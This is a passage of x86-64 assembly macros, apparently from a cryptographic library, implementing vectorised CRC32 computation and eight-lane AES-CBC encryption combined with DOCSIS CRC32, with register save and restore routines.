vmovdqa64 %%xcrckey, [rel rk1] ; rk1 and rk2 in xcrckey
cmp %%bytes_to_crc, 32
jae %%_at_least_32_bytes
;; less than 32 bytes
cmp %%bytes_to_crc, 16
je %%_exact_16_left
jl %%_less_than_16_left
;; load the plain-text
vmovdqu64 %%xtmp1, [%%p_in]
vpxorq %%xcrc, %%xtmp1 ; xor the initial crc value
add %%p_in, 16
sub %%bytes_to_crc, 16
jmp %%_crc_two_xmms
%%_exact_16_left:
vmovdqu64 %%xtmp1, [%%p_in]
vpxorq %%xcrc, %%xtmp1 ; xor the initial CRC value
jmp %%_128_done
%%_less_than_16_left:
lea %%tmp, [rel byte_len_to_mask_table]
kmovw k1, [%%tmp + %%bytes_to_crc*2]
vmovdqu8 %%xtmp1{k1}{z}, [%%p_in]
vpxorq %%xcrc, %%xtmp1 ; xor the initial CRC value
cmp %%bytes_to_crc, 4
jb %%_less_than_4_left
lea %%tmp, [rel pshufb_shf_table]
vmovdqu64 %%xtmp1, [%%tmp + %%bytes_to_crc]
vpshufb %%xcrc, %%xtmp1
jmp %%_128_done
%%_less_than_4_left:
;; less than 4 bytes left
cmp %%bytes_to_crc, 3
jne %%_less_than_3_left
vpslldq %%xcrc, 5
jmp %%_do_barret
%%_less_than_3_left:
cmp %%bytes_to_crc, 2
jne %%_less_than_2_left
vpslldq %%xcrc, 6
jmp %%_do_barret
%%_less_than_2_left:
vpslldq %%xcrc, 7
%%_do_barret:
CRC32_REDUCE_64_TO_32 %%ethernet_fcs, %%xcrc, %%xtmp1, %%xtmp2, %%xcrckey
jmp %%_64_done
%%_at_least_32_bytes:
CRC_UPDATE16 %%p_in, %%xcrc, %%xcrckey, %%xtmp1, %%xtmp2, first_crc
sub %%bytes_to_crc, 16
%%_main_loop:
cmp %%bytes_to_crc, 16
jb %%_exit_loop
CRC_UPDATE16 %%p_in, %%xcrc, %%xcrckey, %%xtmp1, %%xtmp2, next_crc
sub %%bytes_to_crc, 16
jz %%_128_done
jmp %%_main_loop
%%_exit_loop:
;; Partial bytes left - complete CRC calculation
%%_crc_two_xmms:
lea %%tmp, [rel pshufb_shf_table]
vmovdqu64 %%xtmp2, [%%tmp + %%bytes_to_crc]
vmovdqu64 %%xtmp1, [%%p_in - 16 + %%bytes_to_crc] ; xtmp1 = data for CRC
vmovdqa64 %%xtmp3, %%xcrc
vpshufb %%xcrc, %%xtmp2 ; top num_bytes with LSB xcrc
vpxorq %%xtmp2, [rel mask3]
vpshufb %%xtmp3, %%xtmp2 ; bottom (16 - num_bytes) with MSB xcrc
;; data num_bytes (top) blended with MSB bytes of CRC (bottom)
vpblendvb %%xtmp3, %%xtmp1, %%xtmp2
;; final CRC calculation
CRC_CLMUL %%xcrc, %%xcrckey, %%xtmp3, %%xtmp1
%%_128_done:
CRC32_REDUCE_128_TO_32 %%ethernet_fcs, %%xcrc, %%xtmp1, %%xtmp2, %%xcrckey
%%_64_done:
%endmacro
;; =====================================================================
;; =====================================================================
;; Creates stack frame and saves registers
;; =====================================================================
%macro FUNC_ENTRY 0
mov rax, rsp
sub rsp, STACK_size
and rsp, -16
mov [rsp + _gpr_save + 8*0], rbx
mov [rsp + _gpr_save + 8*1], rbp
mov [rsp + _gpr_save + 8*2], r12
mov [rsp + _gpr_save + 8*3], r13
mov [rsp + _gpr_save + 8*4], r14
mov [rsp + _gpr_save + 8*5], r15
%ifndef LINUX
mov [rsp + _gpr_save + 8*6], rsi
mov [rsp + _gpr_save + 8*7], rdi
%endif
mov [rsp + _rsp_save], rax ; original SP
%endmacro ; FUNC_ENTRY
;; =====================================================================
;; =====================================================================
;; Restores registers and removes the stack frame
;; =====================================================================
%macro FUNC_EXIT 0
mov rbx, [rsp + _gpr_save + 8*0]
mov rbp, [rsp + _gpr_save + 8*1]
mov r12, [rsp + _gpr_save + 8*2]
mov r13, [rsp + _gpr_save + 8*3]
mov r14, [rsp + _gpr_save + 8*4]
mov r15, [rsp + _gpr_save + 8*5]
%ifndef LINUX
mov rsi, [rsp + _gpr_save + 8*6]
mov rdi, [rsp + _gpr_save + 8*7]
%endif
mov rsp, [rsp + _rsp_save] ; original SP
%ifdef SAFE_DATA
clear_all_zmms_asm
%endif ;; SAFE_DATA
%endmacro
;; =====================================================================
;; =====================================================================
;; CRC32 computation round
;; =====================================================================
%macro CRC32_ROUND 17-18
%define %%FIRST %1 ; [in] "first_possible" or "no_first"
%define %%LAST %2 ; [in] "last_possible" or "no_last"
%define %%ARG %3 ; [in] GP with pointer to OOO manager / arguments
%define %%LANEID %4 ; [in] numerical value with lane id
%define %%XDATA %5 ; [in] an XMM (any) with input data block for CRC calculation
%define %%XCRC_VAL %6 ; [clobbered] temporary XMM (xmm0-15)
%define %%XCRC_DAT %7 ; [clobbered] temporary XMM (xmm0-15)
%define %%XCRC_MUL %8 ; [clobbered] temporary XMM (xmm0-15)
%define %%XCRC_TMP %9 ; [clobbered] temporary XMM (xmm0-15)
%define %%XCRC_TMP2 %10 ; [clobbered] temporary XMM (xmm0-15)
%define %%IN %11 ; [clobbered] temporary GPR (last partial only)
%define %%IDX %12 ; [in] GP with data offset (last partial only)
%define %%OFFS %13 ; [in] numerical offset (last partial only)
%define %%GT8 %14 ; [clobbered] temporary GPR (last partial only)
%define %%GT9 %15 ; [clobbered] temporary GPR (last partial only)
%define %%CRC32 %16 ; [clobbered] temporary GPR (last partial only)
%define %%LANEDAT %17 ; [in/out] CRC cumulative sum
%define %%SUBLEN %18 ; [in/optional] if "dont_subtract_len" length not subtracted
cmp byte [%%ARG + _docsis_crc_args_done + %%LANEID], CRC_LANE_STATE_DONE
je %%_crc_lane_done
%ifnidn %%FIRST, no_first
cmp byte [%%ARG + _docsis_crc_args_done + %%LANEID], CRC_LANE_STATE_TO_START
je %%_crc_lane_first_round
%endif ; !no_first
%ifnidn %%LAST, no_last
cmp word [%%ARG + _docsis_crc_args_len + 2*%%LANEID], 16
jb %%_crc_lane_last_partial
%endif ; no_last
;; The most common case: next block for CRC
vmovdqa64 %%XCRC_VAL, %%LANEDAT
CRC_CLMUL %%XCRC_VAL, %%XCRC_MUL, %%XDATA, %%XCRC_TMP
vmovdqa64 %%LANEDAT, %%XCRC_VAL
%ifnidn %%SUBLEN, dont_subtract_len
sub word [%%ARG + _docsis_crc_args_len + 2*%%LANEID], 16
%endif
%ifidn %%LAST, no_last
%ifidn %%FIRST, no_first
;; no jump needed - just fall through
%else
jmp %%_crc_lane_done
%endif ; no_first
%else
jmp %%_crc_lane_done
%endif ; np_last
%ifnidn %%LAST, no_last
%%_crc_lane_last_partial:
;; Partial block case (the last block)
;; - last CRC round is specific
;; - followed by CRC reduction and write back of the CRC
vmovdqa64 %%XCRC_VAL, %%LANEDAT
movzx %%GT9, word [%%ARG + _docsis_crc_args_len + %%LANEID*2] ; GT9 = bytes_to_crc
lea %%GT8, [rel pshufb_shf_table]
vmovdqu64 %%XCRC_TMP, [%%GT8 + %%GT9]
mov %%IN, [%%ARG + _aesarg_in + 8*%%LANEID]
lea %%GT8, [%%IN + %%IDX + %%OFFS]
vmovdqu64 %%XCRC_DAT, [%%GT8 - 16 + %%GT9] ; XCRC_DAT = data for CRC
vmovdqa64 %%XCRC_TMP2, %%XCRC_VAL
vpshufb %%XCRC_VAL, %%XCRC_TMP ; top bytes_to_crc with LSB XCRC_VAL
vpxorq %%XCRC_TMP, [rel mask3]
vpshufb %%XCRC_TMP2, %%XCRC_TMP ; bottom (16 - bytes_to_crc) with MSB XCRC_VAL
vpblendvb %%XCRC_DAT, %%XCRC_TMP2, %%XCRC_DAT, %%XCRC_TMP
CRC_CLMUL %%XCRC_VAL, %%XCRC_MUL, %%XCRC_DAT, %%XCRC_TMP
CRC32_REDUCE_128_TO_32 %%CRC32, %%XCRC_VAL, %%XCRC_TMP, %%XCRC_DAT, %%XCRC_TMP2
;; save final CRC value in init
vmovd %%LANEDAT, DWORD(%%CRC32)
;; write back CRC value into source buffer
movzx %%GT9, word [%%ARG + _docsis_crc_args_len + %%LANEID*2]
lea %%GT8, [%%IN + %%IDX + %%OFFS]
mov [%%GT8 + %%GT9], DWORD(%%CRC32)
;; reload the data for cipher (includes just computed CRC) - @todo store to load
vmovdqu64 %%XDATA, [%%IN + %%IDX + %%OFFS]
mov word [%%ARG + _docsis_crc_args_len + 2*%%LANEID], 0
;; mark as done
mov byte [%%ARG + _docsis_crc_args_done + %%LANEID], CRC_LANE_STATE_DONE
%ifnidn %%FIRST, no_first
jmp %%_crc_lane_done
%endif ; no_first
%endif ; no_last
%ifnidn %%FIRST, no_first
%%_crc_lane_first_round:
;; Case of less than 16 bytes will not happen here since
;; submit code takes care of it.
;; in the first round just XOR initial CRC with the first block
vpxorq %%LANEDAT, %%LANEDAT, %%XDATA
;; mark first block as done
mov byte [%%ARG + _docsis_crc_args_done + %%LANEID], CRC_LANE_STATE_IN_PROGRESS
sub word [%%ARG + _docsis_crc_args_len + 2*%%LANEID], 16
%endif ; no_first
%%_crc_lane_done:
%endmacro ; CRC32_ROUND
;; =====================================================================
;; =====================================================================
;; CRC32 computation middle round only
;; - uses K registers to allow/disallow update of lane's CRC value
;; =====================================================================
%macro CRC32_MID_ROUND 7
%define %%ARG %1 ; [in] GP with pointer to OOO manager / arguments
%define %%LANEID %2 ; [in] numerical value with lane id
%define %%XDATA %3 ; [in] an XMM (any) with input data block for CRC calculation
%define %%XCRC_VAL %4 ; [clobbered] temporary XMM (xmm0-15)
%define %%XCRC_MUL %5 ; [clobbered] temporary XMM (xmm0-15)
%define %%XCRC_TMP %6 ; [clobbered] temporary XMM (xmm0-15)
%define %%LANEDAT %7 ; [in/out] CRC cumulative sum
%if %%LANEID < 7
;; use K registers
%assign kreg (%%LANEID + 1)
;; The most common case: next block for CRC
vmovdqa64 %%XCRC_VAL, %%LANEDAT
CRC_CLMUL %%XCRC_VAL, %%XCRC_MUL, %%XDATA, %%XCRC_TMP
vmovdqa64 %%LANEDAT{APPEND(k,kreg)}, %%XCRC_VAL
%else
cmp byte [%%ARG + _docsis_crc_args_done + %%LANEID], CRC_LANE_STATE_DONE
je %%_crc_lane_done
;; The most common case: next block for CRC
vmovdqa64 %%XCRC_VAL, %%LANEDAT
CRC_CLMUL %%XCRC_VAL, %%XCRC_MUL, %%XDATA, %%XCRC_TMP
vmovdqa64 %%LANEDAT, %%XCRC_VAL
%%_crc_lane_done:
%endif ;; !(%%LANEID < 7)
%endmacro ; CRC32_MID_ROUND
;; =====================================================================
;; =====================================================================
;; AES128/256-CBC encryption combined with CRC32 operations
;; =====================================================================
%macro AES_CBC_ENC_CRC32_PARALLEL 48
%define %%ARG %1 ; [in/out] GPR with pointer to arguments structure (updated on output)
%define %%LEN %2 ; [in/clobbered] number of bytes to be encrypted on all lanes
%define %%GT0 %3 ; [clobbered] GP register
%define %%GT1 %4 ; [clobbered] GP register
%define %%GT2 %5 ; [clobbered] GP register
%define %%GT3 %6 ; [clobbered] GP register
%define %%GT4 %7 ; [clobbered] GP register
%define %%GT5 %8 ; [clobbered] GP register
%define %%GT6 %9 ; [clobbered] GP register
%define %%GT7 %10 ; [clobbered] GP register
%define %%GT8 %11 ; [clobbered] GP register
%define %%GT9 %12 ; [clobbered] GP register
%define %%GT10 %13 ; [clobbered] GP register
%define %%GT11 %14 ; [clobbered] GP register
%define %%GT12 %15 ; [clobbered] GP register
%define %%ZT0 %16 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT1 %17 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT2 %18 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT3 %19 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT4 %20 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT5 %21 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT6 %22 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT7 %23 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT8 %24 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT9 %25 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT10 %26 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT11 %27 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT12 %28 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT13 %29 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT14 %30 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT15 %31 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT16 %32 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT17 %33 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT18 %34 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT19 %35 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT20 %36 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT21 %37 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT22 %38 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT23 %39 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT24 %40 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT25 %41 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT26 %42 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT27 %43 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT28 %44 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT29 %45 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT30 %46 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT31 %47 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%NROUNDS %48 ; [in] Number of rounds (9 or 13, based on key size)
%define %%KEYS0 %%GT0
%define %%KEYS1 %%GT1
%define %%KEYS2 %%GT2
%define %%KEYS3 %%GT3
%define %%KEYS4 %%GT4
%define %%KEYS5 %%GT5
%define %%KEYS6 %%GT6
%define %%KEYS7 %%GT7
%define %%GP1 %%GT10
%define %%CRC32 %%GT11
%define %%IDX %%GT12
%define %%XCIPH0 XWORD(%%ZT0)
%define %%XCIPH1 XWORD(%%ZT1)
%define %%XCIPH2 XWORD(%%ZT2)
%define %%XCIPH3 XWORD(%%ZT3)
%define %%XCIPH4 XWORD(%%ZT4)
%define %%XCIPH5 XWORD(%%ZT5)
%define %%XCIPH6 XWORD(%%ZT6)
%define %%XCIPH7 XWORD(%%ZT7)
%define %%XCRC_MUL XWORD(%%ZT8)
%define %%XCRC_TMP XWORD(%%ZT9)
%define %%XCRC_DAT XWORD(%%ZT10)
%define %%XCRC_VAL XWORD(%%ZT11)
%define %%XCRC_TMP2 XWORD(%%ZT12)
%define %%XTMP %%XCRC_TMP2
;; used for loading plain text
%define %%XDATA0 XWORD(%%ZT16)
%define %%XDATA1 XWORD(%%ZT17)
%define %%XDATA2 XWORD(%%ZT18)
%define %%XDATA3 XWORD(%%ZT19)
%define %%XDATA4 XWORD(%%ZT20)
%define %%XDATA5 XWORD(%%ZT21)
%define %%XDATA6 XWORD(%%ZT22)
%define %%XDATA7 XWORD(%%ZT23)
;; used for current CRC sums
%define %%XDATB0 XWORD(%%ZT27)
%define %%XDATB1 XWORD(%%ZT28)
%define %%XDATB2 XWORD(%%ZT29)
%define %%XDATB3 XWORD(%%ZT30)
%define %%XDATB4 XWORD(%%ZT31)
%define %%XDATB5 XWORD(%%ZT13)
%define %%XDATB6 XWORD(%%ZT14)
%define %%XDATB7 XWORD(%%ZT15)
xor %%IDX, %%IDX
vmovdqa64 %%XCRC_MUL, [rel rk1]
vmovdqa64 %%XCIPH0, [%%ARG + _aesarg_IV + 16*0]
vmovdqa64 %%XCIPH1, [%%ARG + _aesarg_IV + 16*1]
vmovdqa64 %%XCIPH2, [%%ARG + _aesarg_IV + 16*2]
vmovdqa64 %%XCIPH3, [%%ARG + _aesarg_IV + 16*3]
vmovdqa64 %%XCIPH4, [%%ARG + _aesarg_IV + 16*4]
vmovdqa64 %%XCIPH5, [%%ARG + _aesarg_IV + 16*5]
vmovdqa64 %%XCIPH6, [%%ARG + _aesarg_IV + 16*6]
vmovdqa64 %%XCIPH7, [%%ARG + _aesarg_IV + 16*7]
mov %%KEYS0, [%%ARG + _aesarg_keys + 8*0]
mov %%KEYS1, [%%ARG + _aesarg_keys + 8*1]
mov %%KEYS2, [%%ARG + _aesarg_keys + 8*2]
mov %%KEYS3, [%%ARG + _aesarg_keys + 8*3]
mov %%KEYS4, [%%ARG + _aesarg_keys + 8*4]
mov %%KEYS5, [%%ARG + _aesarg_keys + 8*5]
mov %%KEYS6, [%%ARG + _aesarg_keys + 8*6]
mov %%KEYS7, [%%ARG + _aesarg_keys + 8*7]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Pipeline start
;; CRC32 rounds on all lanes - first and last cases are possible
;; - load current CRC sum
;; - load plain text block
;; - do the initial CRC round
;; - keep CRC lane status in K register (lanes 0 to 6)
%assign crc_lane 0
%rep 8
mov %%GP1, [%%ARG + _aesarg_in + (8 * crc_lane)]
vmovdqu64 APPEND(%%XDATA, crc_lane), [%%GP1 + %%IDX]
vmovdqa64 APPEND(%%XDATB, crc_lane), [%%ARG + _docsis_crc_args_init + (16 *crc_lane)]
CRC32_ROUND first_possible, last_possible, %%ARG, crc_lane, \
APPEND(%%XDATA, crc_lane), %%XCRC_VAL, %%XCRC_DAT, \
%%XCRC_MUL, %%XCRC_TMP, %%XCRC_TMP2, \
%%GP1, %%IDX, 0, %%GT8, %%GT9, %%CRC32, APPEND(%%XDATB, crc_lane)
%if crc_lane < 7
;; lanes 0 to 6 use k1 to k7
;; lane 7 uses condition check
%assign k_reg (crc_lane + 1)
kmovb APPEND(k,k_reg), [%%ARG + _docsis_crc_args_done + (crc_lane * 1)]
%endif
%assign crc_lane (crc_lane + 1)
%endrep
;; check if only 16 bytes in this execution
sub %%LEN, 16
je %%_encrypt_the_last_block
%%_main_enc_loop:
;; if 16 bytes left (for CRC) then
;; go to the code variant where CRC last block case is checked
cmp %%LEN, 16
je %%_encrypt_and_crc_the_last_block
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; - use ternary logic for: plain-text XOR IV and AES ARK(0)
;; - IV = XCIPHx
;; - plain-text = XDATAx
;; - ARK = [%%KEYSx + 16*0]
vpternlogq %%XCIPH0, %%XDATA0, [%%KEYS0 + 16*0], 0x96
vpternlogq %%XCIPH1, %%XDATA1, [%%KEYS1 + 16*0], 0x96
vpternlogq %%XCIPH2, %%XDATA2, [%%KEYS2 + 16*0], 0x96
vpternlogq %%XCIPH3, %%XDATA3, [%%KEYS3 + 16*0], 0x96
vpternlogq %%XCIPH4, %%XDATA4, [%%KEYS4 + 16*0], 0x96
vpternlogq %%XCIPH5, %%XDATA5, [%%KEYS5 + 16*0], 0x96
vpternlogq %%XCIPH6, %%XDATA6, [%%KEYS6 + 16*0], 0x96
vpternlogq %%XCIPH7, %%XDATA7, [%%KEYS7 + 16*0], 0x96
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; AES ROUNDS 1 to NROUNDS (9 or 13)
%assign crc_lane 0
%assign i 1
%rep %%NROUNDS
vaesenc %%XCIPH0, [%%KEYS0 + 16*i]
vaesenc %%XCIPH1, [%%KEYS1 + 16*i]
vaesenc %%XCIPH2, [%%KEYS2 + 16*i]
vaesenc %%XCIPH3, [%%KEYS3 + 16*i]
vaesenc %%XCIPH4, [%%KEYS4 + 16*i]
vaesenc %%XCIPH5, [%%KEYS5 + 16*i]
vaesenc %%XCIPH6, [%%KEYS6 + 16*i]
vaesenc %%XCIPH7, [%%KEYS7 + 16*i]
%if (i > 1) && (crc_lane < 8)
;; don't start with AES round 1
mov %%GP1, [%%ARG + _aesarg_in + (8 * crc_lane)]
vmovdqu64 APPEND(%%XDATA,crc_lane), [%%GP1 + %%IDX + 16]
CRC32_MID_ROUND %%ARG, crc_lane, APPEND(%%XDATA, crc_lane), \
%%XCRC_VAL, %%XCRC_MUL, %%XCRC_TMP, \
APPEND(%%XDATB, crc_lane)
%assign crc_lane (crc_lane + 1)
%endif ;; i > 1 && crc_lane < 8
%assign i (i + 1)
%endrep
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; AES ROUNDS 10 or 14
vaesenclast %%XCIPH0, [%%KEYS0 + 16*i]
vaesenclast %%XCIPH1, [%%KEYS1 + 16*i]
vaesenclast %%XCIPH2, [%%KEYS2 + 16*i]
vaesenclast %%XCIPH3, [%%KEYS3 + 16*i]
vaesenclast %%XCIPH4, [%%KEYS4 + 16*i]
vaesenclast %%XCIPH5, [%%KEYS5 + 16*i]
vaesenclast %%XCIPH6, [%%KEYS6 + 16*i]
vaesenclast %%XCIPH7, [%%KEYS7 + 16*i]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; store cipher text
;; - XCIPHx is an IV for the next block
mov %%GT8, [%%ARG + _aesarg_out + 8*0]
mov %%GP1, [%%ARG + _aesarg_out + 8*1]
vmovdqu64 [%%GT8 + %%IDX], %%XCIPH0
vmovdqu64 [%%GP1 + %%IDX], %%XCIPH1
mov %%GT8, [%%ARG + _aesarg_out + 8*2]
mov %%GP1, [%%ARG + _aesarg_out + 8*3]
vmovdqu64 [%%GT8 + %%IDX], %%XCIPH2
vmovdqu64 [%%GP1 + %%IDX], %%XCIPH3
mov %%GT8, [%%ARG + _aesarg_out + 8*4]
mov %%GP1, [%%ARG + _aesarg_out + 8*5]
vmovdqu64 [%%GT8 + %%IDX], %%XCIPH4
vmovdqu64 [%%GP1 + %%IDX], %%XCIPH5
mov %%GT8, [%%ARG + _aesarg_out + 8*6]
mov %%GP1, [%%ARG + _aesarg_out + 8*7]
vmovdqu64 [%%GT8 + %%IDX], %%XCIPH6
vmovdqu64 [%%GP1 + %%IDX], %%XCIPH7
add %%IDX, 16
sub %%LEN, 16
jmp %%_main_enc_loop
%%_encrypt_and_crc_the_last_block:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Main loop doesn't subtract lengths to save cycles
;; - all subtracts get accumulated and are done below
vmovdqa64 %%XCRC_TMP, [%%ARG + _docsis_crc_args_len + 2*0]
vpbroadcastw %%XCRC_TMP2, WORD(%%IDX)
vpsubw %%XCRC_TMP, %%XCRC_TMP, %%XCRC_TMP2
vmovdqa64 [%%ARG + _docsis_crc_args_len + 2*0], %%XCRC_TMP
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; - load key pointers to perform AES rounds
;; - use ternary logic for: plain-text XOR IV and AES ARK(0)
;; - IV = XCIPHx
;; - plain-text = XDATAx
;; - ARK = [%%KEYSx + 16*0]
vpternlogq %%XCIPH0, %%XDATA0, [%%KEYS0 + 16*0], 0x96
vpternlogq %%XCIPH1, %%XDATA1, [%%KEYS1 + 16*0], 0x96
vpternlogq %%XCIPH2, %%XDATA2, [%%KEYS2 + 16*0], 0x96
vpternlogq %%XCIPH3, %%XDATA3, [%%KEYS3 + 16*0], 0x96
vpternlogq %%XCIPH4, %%XDATA4, [%%KEYS4 + 16*0], 0x96
vpternlogq %%XCIPH5, %%XDATA5, [%%KEYS5 + 16*0], 0x96
vpternlogq %%XCIPH6, %%XDATA6, [%%KEYS6 + 16*0], 0x96
vpternlogq %%XCIPH7, %%XDATA7, [%%KEYS7 + 16*0], 0x96
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; AES ROUNDS 1 to NROUNDS (9 or 13)
%assign crc_lane 0
%assign i 1
%rep %%NROUNDS
vaesenc %%XCIPH0, [%%KEYS0 + 16*i]
vaesenc %%XCIPH1, [%%KEYS1 + 16*i]
vaesenc %%XCIPH2, [%%KEYS2 + 16*i]
vaesenc %%XCIPH3, [%%KEYS3 + 16*i]
vaesenc %%XCIPH4, [%%KEYS4 + 16*i]
vaesenc %%XCIPH5, [%%KEYS5 + 16*i]
vaesenc %%XCIPH6, [%%KEYS6 + 16*i]
vaesenc %%XCIPH7, [%%KEYS7 + 16*i]
%if (i > 1) && (crc_lane < 8)
;; don't start with AES round 1
mov %%GP1, [%%ARG + _aesarg_in + (8 * crc_lane)]
vmovdqu64 APPEND(%%XDATA, crc_lane), [%%GP1 + %%IDX + 16]
CRC32_ROUND no_first, last_possible, %%ARG, crc_lane, \
APPEND(%%XDATA, crc_lane), %%XCRC_VAL, %%XCRC_DAT, \
%%XCRC_MUL, %%XCRC_TMP, %%XCRC_TMP2, \
%%GP1, %%IDX, 16, %%GT8, %%GT9, %%CRC32, APPEND(%%XDATB, crc_lane)
%assign crc_lane (crc_lane + 1)
%endif ;; i > 1 && crc_lane < 8
%assign i (i + 1)
%endrep
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; AES ROUNDS 10 or 14
vaesenclast %%XCIPH0, [%%KEYS0 + 16*i]
vaesenclast %%XCIPH1, [%%KEYS1 + 16*i]
vaesenclast %%XCIPH2, [%%KEYS2 + 16*i]
vaesenclast %%XCIPH3, [%%KEYS3 + 16*i]
vaesenclast %%XCIPH4, [%%KEYS4 + 16*i]
vaesenclast %%XCIPH5, [%%KEYS5 + 16*i]
vaesenclast %%XCIPH6, [%%KEYS6 + 16*i]
vaesenclast %%XCIPH7, [%%KEYS7 + 16*i]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; store cipher text
;; - XCIPHx is an IV for the next block
mov %%GT8, [%%ARG + _aesarg_out + 8*0]
mov %%GT9, [%%ARG + _aesarg_out + 8*1]
vmovdqu64 [%%GT8 + %%IDX], %%XCIPH0
vmovdqu64 [%%GT9 + %%IDX], %%XCIPH1
mov %%GT8, [%%ARG + _aesarg_out + 8*2]
mov %%GT9, [%%ARG + _aesarg_out + 8*3]
vmovdqu64 [%%GT8 + %%IDX], %%XCIPH2
vmovdqu64 [%%GT9 + %%IDX], %%XCIPH3
mov %%GT8, [%%ARG + _aesarg_out + 8*4]
mov %%GT9, [%%ARG + _aesarg_out + 8*5]
vmovdqu64 [%%GT8 + %%IDX], %%XCIPH4
vmovdqu64 [%%GT9 + %%IDX], %%XCIPH5
mov %%GT8, [%%ARG + _aesarg_out + 8*6]
mov %%GT9, [%%ARG + _aesarg_out + 8*7]
vmovdqu64 [%%GT8 + %%IDX], %%XCIPH6
vmovdqu64 [%%GT9 + %%IDX], %%XCIPH7
add %%IDX, 16
sub %%LEN, 16
%%_encrypt_the_last_block:
;; NOTE: XDATA[0-7] preloaded with data blocks from corresponding lanes
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; - load key pointers to perform AES rounds
;; - use ternary logic for: plain-text XOR IV and AES ARK(0)
;; - IV = XCIPHx
;; - plain-text = XDATAx
;; - ARK = [%%KEYSx + 16*0]
vpternlogq %%XCIPH0, %%XDATA0, [%%KEYS0 + 16*0], 0x96
vpternlogq %%XCIPH1, %%XDATA1, [%%KEYS1 + 16*0], 0x96
vpternlogq %%XCIPH2, %%XDATA2, [%%KEYS2 + 16*0], 0x96
vpternlogq %%XCIPH3, %%XDATA3, [%%KEYS3 + 16*0], 0x96
vpternlogq %%XCIPH4, %%XDATA4, [%%KEYS4 + 16*0], 0x96
vpternlogq %%XCIPH5, %%XDATA5, [%%KEYS5 + 16*0], 0x96
vpternlogq %%XCIPH6, %%XDATA6, [%%KEYS6 + 16*0], 0x96
vpternlogq %%XCIPH7, %%XDATA7, [%%KEYS7 + 16*0], 0x96
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; AES ROUNDS 1 to NROUNDS (9 or 13)
%assign crc_lane 0
%assign i 1
%rep %%NROUNDS
vaesenc %%XCIPH0, [%%KEYS0 + 16*i]
vaesenc %%XCIPH1, [%%KEYS1 + 16*i]
vaesenc %%XCIPH2, [%%KEYS2 + 16*i]
vaesenc %%XCIPH3, [%%KEYS3 + 16*i]
vaesenc %%XCIPH4, [%%KEYS4 + 16*i]
vaesenc %%XCIPH5, [%%KEYS5 + 16*i]
vaesenc %%XCIPH6, [%%KEYS6 + 16*i]
vaesenc %%XCIPH7, [%%KEYS7 + 16*i]
%if crc_lane < 8
;; save CRC sum from registers back into the context structure
vmovdqa64 [%%ARG + _docsis_crc_args_init + (16 * crc_lane)], APPEND(%%XDATB, crc_lane)
%endif
%assign crc_lane (crc_lane + 1)
%assign i (i + 1)
%endrep
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; AES ROUNDS 10 or 14
vaesenclast %%XCIPH0, [%%KEYS0 + 16*i]
vaesenclast %%XCIPH1, [%%KEYS1 + 16*i]
vaesenclast %%XCIPH2, [%%KEYS2 + 16*i]
vaesenclast %%XCIPH3, [%%KEYS3 + 16*i]
vaesenclast %%XCIPH4, [%%KEYS4 + 16*i]
vaesenclast %%XCIPH5, [%%KEYS5 + 16*i]
